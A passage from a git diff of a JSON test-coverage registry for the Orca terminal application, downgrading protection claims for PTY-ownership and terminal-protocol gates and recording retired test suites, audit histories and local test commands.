bytes\"]},{\"file\":\"src/shared/terminal/protocol/escape/terminal-partial-escape-tail.fuzz.test.ts\",\"assertions\":[\"the pending tail this gate threads over the wire folds identically at every code-unit split of the combined stream, including boundaries landing inside oscEsc/stringEsc\",\"the split sweep runs over an alphabet carrying CAN, SUB, doubled ESC inside OSC/DCS/SOS/PM/APC, BEL, C1 ST, NUL, DEL, intermediates, CJK, astral, and lone surrogates\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local\",\"daemon\",\"remote-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit2133 current-parent preparation: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Audit1320 changed referenced test sources; no new red/green validation of the reduced set. Historical account: The byte-identical Electron journey reproduced screenshot-like numeric mouse-report residue and a real SGR mouse packet reaching the shell before the focused action. With only the renderer's host-proven reset disabled, normal cleanup failed in normal-buffer/any-event mouse state and SIGKILL failed in alternate-buffer/any-event mouse state. Restoring the action made both cases green.\"},\"flakeHistory\":{\"status\":\"not-started\",\"evidence\":\"Changed selectors have no new soak result after Audit1320; any retained unchanged-source receipts apply only to their own commands. Historical account: The deterministic focused suites and two-case Electron journey pass locally; CI soak history is not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":90,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. No reveal timer, polling, periodic scan, broad session inventory, or renderer remount is added, and snapshots perform no writes. The stream pauses only for an unclean alternate-screen death (never for clean TUI exits or ordinary output), bounded by a 750 ms bail timer and a 256 KiB queue cap that both flush unmodified. The event-triggered fresh host inspection measured 30 local macOS samples at 84.6 ms median, 103.7 ms p95, and 124.5 ms maximum; the paired runtime asks the daemon for its settled verdict instead of running a second inspection.\"}}" ], "demotionRule": "Keep experimental or demote if missing ownership proof changes incumbent behavior, a live TUI loses mouse/focus modes, foreground inspection enters ordinary output/reveal paths, or the focused Electron journey flakes without an identified product or harness fault." }, @@ -5585,7 +4950,7 @@ "id": "terminal-session.layout-pty-ownership", "title": "Restored terminal layouts retain one renderer owner per PTY", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "renderer-electron-restore", "surfaces": [ @@ -5597,66 +4962,34 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["local", "local-daemon", "ssh", "wsl", "remote-runtime"], - "coveredPlatforms": ["macos"], - "coveredProviders": ["local-daemon"], - "coverageNotes": "Audit5605 retires complete low-value suites src/renderer/src/store/terminals/layout/terminal-layout-pty-ownership.test.ts. Intentionally lose live/future pane authority transfer and detached-pane non-stealing alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Current adopted test policy at native 6f2e: retire the sampled PTY/focus permutation callback and its assertion reference. This loses its ownership-uniqueness, rooted-focus, immutability and idempotence alarms over those combinations. Eleven direct component callbacks and the depth/store/E2E file selectors remain; no equivalent replacement or fresh execution is claimed. Previous metadata account (preserved verbatim): Audit1925 (sources1922/1923): Partial ownership suite loses fixed first-leaf/rootless/dangling-selection/idempotence/identity examples. Both existing active assertion aliases stay backed by exact retained active-leaf metadata pruning and idempotence across PTY/focus permutation callbacks; metadata collision and repeated-leaf challenges survive. No deleted fixed example is assigned replacement coverage. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Component unit tests cover persisted replay, rootless layouts, repeated leaf ids, metadata repair, and 12,000 nested duplicate leaves; retained store tests cover live/future pane-authority transfer and a prior detach destination. A two-launch macOS Electron journey covers a real surviving local-daemon PTY, persisted duplicate ownership, synchronized streaming output, and tab hide/reveal. Live Linux, Windows, SSH, WSL, and remote-runtime restore journeys remain gaps. The audit removed a mocked duplicate-replay wrapper suite. Its callback-count alarms are no longer covered here; retained ownership tests and historical Electron evidence do not establish equivalent wrapper coverage. The broad mirror fixture no longer supplies the duplicate-remote-PTY assertion referenced here. The terminal-mirroring fixture also lost its separate duplicate-PTY example and now retains host-finalized pending-binding composition only. Duplicate-PTY and topology fixture alarms are lost; remaining gate evidence is not replacement coverage. The test-value audit removed store duplicate/layout-only, hydration, legacy-leaf, and cross-tab layout-state examples. Their direct normalization, hydration authority, legacy compatibility, and cross-tab preservation alarms are lost. The retained store cases exercise live/future authority transfer and a prior detach destination; component and historical Electron evidence do not establish equivalent replacement coverage.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit5605 retires complete low-value suites src/renderer/src/store/terminals/layout/terminal-layout-pty-ownership.test.ts. Intentionally lose live/future pane authority transfer and detached-pane non-stealing alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Current adopted test policy at native 6f2e: retire the sampled PTY/focus permutation callback and its assertion reference. This loses its ownership-uniqueness, rooted-focus, immutability and idempotence alarms over those combinations. Eleven direct component callbacks and the depth/store/E2E file selectors remain; no equivalent replacement or fresh execution is claimed. Previous metadata account (preserved verbatim): Audit1925 (sources1922/1923): Partial ownership suite loses fixed first-leaf/rootless/dangling-selection/idempotence/identity examples. Both existing active assertion aliases stay backed by exact retained active-leaf metadata pruning and idempotence across PTY/focus permutation callbacks; metadata collision and repeated-leaf challenges survive. No deleted fixed example is assigned replacement coverage. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Component unit tests cover persisted replay, rootless layouts, repeated leaf ids, metadata repair, and 12,000 nested duplicate leaves; retained store tests cover live/future pane-authority transfer and a prior detach destination. A two-launch macOS Electron journey covers a real surviving local-daemon PTY, persisted duplicate ownership, synchronized streaming output, and tab hide/reveal. Live Linux, Windows, SSH, WSL, and remote-runtime restore journeys remain gaps. The audit removed a mocked duplicate-replay wrapper suite. Its callback-count alarms are no longer covered here; retained ownership tests and historical Electron evidence do not establish equivalent wrapper coverage. The broad mirror fixture no longer supplies the duplicate-remote-PTY assertion referenced here. The terminal-mirroring fixture also lost its separate duplicate-PTY example and now retains host-finalized pending-binding composition only. Duplicate-PTY and topology fixture alarms are lost; remaining gate evidence is not replacement coverage. The test-value audit removed store duplicate/layout-only, hydration, legacy-leaf, and cross-tab layout-state examples. Their direct normalization, hydration authority, legacy compatibility, and cross-tab preservation alarms are lost. The retained store cases exercise live/future authority transfer and a prior detach destination; component and historical Electron evidence do not establish equivalent replacement coverage.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/11757", "https://github.com/stablyai/orca/pull/11726" ], "invariant": "Within one terminal tab, each PTY has at most one layout leaf, pane manager surface, and xterm renderer owner. Restore and remote mirroring must normalize duplicate ownership before replay while retaining active-leaf focus, scrollback, pane authority, agent metadata, and distinct sibling PTYs.", - "oracle": "Current adopted test policy at native 6f2e: retire the sampled PTY/focus permutation callback and its assertion reference. This loses its ownership-uniqueness, rooted-focus, immutability and idempotence alarms over those combinations. Eleven direct component callbacks and the depth/store/E2E file selectors remain; no equivalent replacement or fresh execution is claimed. Previous metadata account (preserved verbatim): Audit1925 (sources1922/1923): Partial ownership suite loses fixed first-leaf/rootless/dangling-selection/idempotence/identity examples. Both existing active assertion aliases stay backed by exact retained active-leaf metadata pruning and idempotence across PTY/focus permutation callbacks; metadata collision and repeated-leaf challenges survive. No deleted fixed example is assigned replacement coverage. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Launch Orca with a real daemon PTY running a synchronized full-screen stream, close the desktop client without killing the daemon process, seed the persisted tab layout with two leaves bound to that PTY, and relaunch. Hide the restored tab behind a sibling and reveal it, then require the stream to remain visible with exactly one manager pane, one xterm DOM node, one root leaf, one PTY binding, and one unique PTY. Component contracts cover persisted replay, rootless and repeated-leaf layouts, metadata repair, and deeply nested input. Retained store contracts cover live/future authority transfer onto a retained leaf and preservation of a prior detach destination.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts --reporter=dot", - "pnpm exec electron-vite build --mode e2e", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts", - "src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts", - "tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts", - "assertions": ["prunes deeply nested duplicate ownership without recursive stack growth"] - }, - { - "file": "src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts", - "assertions": ["keeps the active leaf and prunes the stale surface plus its metadata"] - }, - { - "file": "tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts", - "assertions": ["repairs duplicate persisted PTY renderers before streaming tab reveal"] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-01", - "runner": "local", - "platform": "macos", - "command": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "result": "passed", - "durationSeconds": 8.7, - "summary": "The two-launch Electron journey preserved one real daemon PTY and one renderer through duplicate-layout repair and post-relaunch tab reveal.", - "currentCommand": "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Current adopted test policy at native 6f2e: retire the sampled PTY/focus permutation callback and its assertion reference. This loses its ownership-uniqueness, rooted-focus, immutability and idempotence alarms over those combinations. Eleven direct component callbacks and the depth/store/E2E file selectors remain; no equivalent replacement or fresh execution is claimed. Previous metadata account (preserved verbatim): Audit1925 (sources1922/1923): Partial ownership suite loses fixed first-leaf/rootless/dangling-selection/idempotence/identity examples. Both existing active assertion aliases stay backed by exact retained active-leaf metadata pruning and idempotence across PTY/focus permutation callbacks; metadata collision and repeated-leaf challenges survive. No deleted fixed example is assigned replacement coverage. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Launch Orca with a real daemon PTY running a synchronized full-screen stream, close the desktop client without killing the daemon process, seed the persisted tab layout with two leaves bound to that PTY, and relaunch. Hide the restored tab behind a sibling and reveal it, then require the stream to remain visible with exactly one manager pane, one xterm DOM node, one root leaf, one PTY binding, and one unique PTY. Component contracts cover persisted replay, rootless and repeated-leaf layouts, metadata repair, and deeply nested input. Retained store contracts cover live/future authority transfer onto a retained leaf and preservation of a prior detach destination.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 30, - "scope": "focused ownership unit suite plus one prebuilt two-launch Electron journey" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. focused ownership unit suite plus one prebuilt two-launch Electron journey" }, "flakeHistory": { - "status": "unknown", - "evidence": "The deterministic unit and Electron gates pass locally on macOS; focused CI and soak history are not yet available." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: The deterministic unit and Electron gates pass locally on macOS; focused CI and soak history are not yet available." }, "redGreenEvidence": { - "status": "complete", - "evidence": "Orca 1.4.161 visibly strands and fragments the synchronized stream after restoring duplicate PTY renderers (https://github.com/user-attachments/assets/6917ac6f-9ba3-4f6f-a082-fb62932d511f). The post-resize capture remains corrupted, with duplicated lower rows and the terminal still stranded on the right; it is not recovery evidence (https://github.com/user-attachments/assets/32f7be79-0919-48c2-bcad-e4b7f1e14f2d). After the #11726 ownership repair, the equivalent stream remains continuous in one full-width renderer (https://github.com/user-attachments/assets/8c9cc5a2-dbe3-4348-b05c-f8268b98c476), and the final automated journey reports one owner at every layer after relaunch and tab reveal (https://github.com/user-attachments/assets/f19b46aa-e56f-476c-9e2c-e4c3a784c805)." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Orca 1.4.161 visibly strands and fragments the synchronized stream after restoring duplicate PTY renderers (https://github.com/user-attachments/assets/6917ac6f-9ba3-4f6f-a082-fb62932d511f). The post-resize capture remains corrupted, with duplicated lower rows and the terminal still stranded on the right; it is not recovery evidence (https://github.com/user-attachments/assets/32f7be79-0919-48c2-bcad-e4b7f1e14f2d). After the #11726 ownership repair, the equivalent stream remains continuous in one full-width renderer (https://github.com/user-attachments/assets/8c9cc5a2-dbe3-4348-b05c-f8268b98c476), and the final automated journey reports one owner at every layer after relaunch and tab reveal (https://github.com/user-attachments/assets/f19b46aa-e56f-476c-9e2c-e4c3a784c805)." }, "performanceBudget": { "required": true, - "evidence": "Ownership normalization is bounded by layout size, uses iterative traversal, and passes a 12,000-leaf duplicate layout without recursive stack growth. The follow-up adds no production polling, renderer work, listeners, persistence scans, or retained payloads." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Ownership normalization is bounded by layout size, uses iterative traversal, and passes a 12,000-leaf duplicate layout without recursive stack growth. The follow-up adds no production polling, renderer work, listeners, persistence scans, or retained payloads." }, "promotionCriteria": [ "Collect 100 consecutive focused CI passes or 14 days of soak history.", @@ -5673,7 +5006,11 @@ "The test-value audit removed store duplicate/layout-only, hydration, legacy-leaf, and cross-tab layout-state examples. Their direct normalization, hydration authority, legacy compatibility, and cross-tab preservation alarms are lost. The retained store cases exercise live/future authority transfer and a prior detach destination; component and historical Electron evidence do not establish equivalent replacement coverage.", "Audit1925 (sources1922/1923): Partial ownership suite loses fixed first-leaf/rootless/dangling-selection/idempotence/identity examples. Both existing active assertion aliases stay backed by exact retained active-leaf metadata pruning and idempotence across PTY/focus permutation callbacks; metadata collision and repeated-leaf challenges survive. No deleted fixed example is assigned replacement coverage. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Exact retired authored alarms: 'keeps the first layout leaf when focus belongs to another PTY'; 'repairs rootless duplicate ownership in one idempotent pass'; 'repairs dangling rooted selection during direct ownership normalization'; 'preserves PTY ownership while collapsing repeated live leaf ids'; 'preserves valid split layouts by identity'.", "Audit5605 exact prior command before retired suite selector removal: pnpm exec vitest run --config config/vitest.config.ts src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts src/renderer/src/store/terminals/layout/terminal-layout-pty-ownership.test.ts --reporter=dot", - "Audit5605 removed assertion references: [{\"file\":\"src/renderer/src/store/terminals/layout/terminal-layout-pty-ownership.test.ts\",\"assertions\":[\"moves live and future pane authority onto the retained PTY leaf\",\"does not steal authority from a pane that was already detached to another tab\"]}]" + "Audit5605 removed assertion references: [{\"file\":\"src/renderer/src/store/terminals/layout/terminal-layout-pty-ownership.test.ts\",\"assertions\":[\"moves live and future pane authority onto the retained PTY leaf\",\"does not steal authority from a pane that was already detached to another tab\"]}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-01\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"command\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"result\": \"passed\",\n \"durationSeconds\": 8.7,\n \"summary\": \"The two-launch Electron journey preserved one real daemon PTY and one renderer through duplicate-layout repair and post-relaunch tab reveal.\",\n \"currentCommand\": \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts --reporter=dot\",\n \"pnpm exec electron-vite build --mode e2e\",\n \"SKIP_BUILD=1 pnpm exec playwright test tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts\",\n \"src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts\",\n \"tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts\",\n \"assertions\": [\"prunes deeply nested duplicate ownership without recursive stack growth\"]\n },\n {\n \"file\": \"src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts\",\n \"assertions\": [\"keeps the active leaf and prunes the stale surface plus its metadata\"]\n },\n {\n \"file\": \"tests/e2e/terminal-duplicate-pty-renderer-reveal.spec.ts\",\n \"assertions\": [\"repairs duplicate persisted PTY renderers before streaming tab reveal\"]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts --reporter=dot\",\"pnpm exec electron-vite build --mode e2e\"],\"testFiles\":[\"src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts\",\"src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts\"],\"assertionRefs\":[{\"file\":\"src/shared/workspace-layout/terminal-topology/terminal-layout-pty-ownership-depth.test.ts\",\"assertions\":[\"prunes deeply nested duplicate ownership without recursive stack growth\"]},{\"file\":\"src/renderer/src/components/terminal-pane/layout/terminal-layout-pty-ownership.test.ts\",\"assertions\":[\"keeps the active leaf and prunes the stale surface plus its metadata\"]}]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local-daemon\"],\"redGreenEvidence\":{\"status\":\"complete\",\"evidence\":\"Orca 1.4.161 visibly strands and fragments the synchronized stream after restoring duplicate PTY renderers (https://github.com/user-attachments/assets/6917ac6f-9ba3-4f6f-a082-fb62932d511f). The post-resize capture remains corrupted, with duplicated lower rows and the terminal still stranded on the right; it is not recovery evidence (https://github.com/user-attachments/assets/32f7be79-0919-48c2-bcad-e4b7f1e14f2d). After the #11726 ownership repair, the equivalent stream remains continuous in one full-width renderer (https://github.com/user-attachments/assets/8c9cc5a2-dbe3-4348-b05c-f8268b98c476), and the final automated journey reports one owner at every layer after relaunch and tab reveal (https://github.com/user-attachments/assets/f19b46aa-e56f-476c-9e2c-e4c3a784c805).\"},\"flakeHistory\":{\"status\":\"unknown\",\"evidence\":\"The deterministic unit and Electron gates pass locally on macOS; focused CI and soak history are not yet available.\"},\"runtimeBudget\":{\"p95Seconds\":30,\"scope\":\"focused ownership unit suite plus one prebuilt two-launch Electron journey\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Ownership normalization is bounded by layout size, uses iterative traversal, and passes a 12,000-leaf duplicate layout without recursive stack growth. The follow-up adds no production polling, renderer work, listeners, persistence scans, or retained payloads.\"}}" ], "demotionRule": "Keep experimental or demote if ownership cardinality flakes, duplicate replay reaches a second renderer, active metadata or authority moves to the wrong leaf, deep normalization regresses, or a supported provider bypasses normalization." }, @@ -5825,8 +5162,8 @@ "platforms": ["macos", "linux", "windows"], "providers": ["local", "daemon", "ssh", "runtime"], "coveredPlatforms": ["macos"], - "coveredProviders": ["local", "daemon", "ssh", "runtime"], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5631 accompanies Audit5617 whole-suite deletion of src/renderer/src/store/terminals/layout/terminal-pane-detach-agent-identity.test.ts. Accepted loss: Detached leaf foreground/status/launch/resume identity map transfer and sibling preservation. No equivalent replacement or fresh reduced-command validation is claimed. Retained partial protection applies only to independent historical receipt scopes and does not protect these retired alarms. Historical prior account follows: Audit5611 retires complete low-value suites src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts. Intentionally lose pane restoration, closed-tab refusal and round-trip status alarms. Reduced commands have no fresh gate evidence or equivalent replacement claim. Historical prior account follows: Audit5583 removes the entire src/renderer/src/store/terminals/retirement/terminal-tab-retirement-store.test.ts suite and its active selectors. Intentionally lose mocked terminal tab retirement choreography alarms without equivalent replacement or fresh gate evidence. Historical prior account follows: Audit4368 intentionally drops seven mocked teardown cases: duplicate single-chat rollback, forced stuck-close warning/retirement, post-close-throw exit acceptance, mixed live/unconfirmed wording, exact serial-close budget work, missing runtime selector success and runtime-sweep rejection. Four structured-session and three PTY teardown cases remain; no replacement or fresh native/process/remote proof is claimed. Historical assertion anchors and receipts are not refreshed by this source-only reduction. Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit4351 removes the physical-exit timeout/retry and kill-failure/retry local-PTY shutdown cases. The retained shutdown case proves pending ownership until the injected node-pty exit callback only. These two narrow error-path alarms are intentionally lost; retained commands still select the reduced suite. No equivalent replacement or fresh runtime execution is claimed. Earlier notes and dated receipts retain their original scopes. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit 3959 retires the whole session.test.ts driver (27 authored / 33 finite cases): startup/echo filtering, readiness input gates, ownership confirmation, detach authority, and termination retry/exit ordering alarms are intentionally lost. No equivalent replacement or fresh runtime validation is claimed. Audit3437 composes ROOT-adopted3431/independent3432: intentionally removes127 authored/174 potential expanded cases across12 sources, deleting7 whole suites and one267line unused helper without test credit. Retain8 authored/13 potential cases. No equivalent replacement or fresh execution is claimed. Lose the complete completed-worker-retirement-resume suite: exact terminal-close resume-record revocation, PTY-exit recovery retention and settled-worker release examples. Remove its exact command token or standalone command, testFiles entry and assertionRef, archiving complete prior fields. Independent receipts retain original scopes. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1630 removes low-value Git, GitHub/GitLab and IPC projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Live macOS Electron tests prove exact local PTY disappearance after parked-tab close and detached-pgid descendant death after agent close. A deterministic final-pane interleaving now proves durable tab retirement commits before externally owned PTY teardown can publish graph loss, and preserves an unrelated live canary through duplicate exit 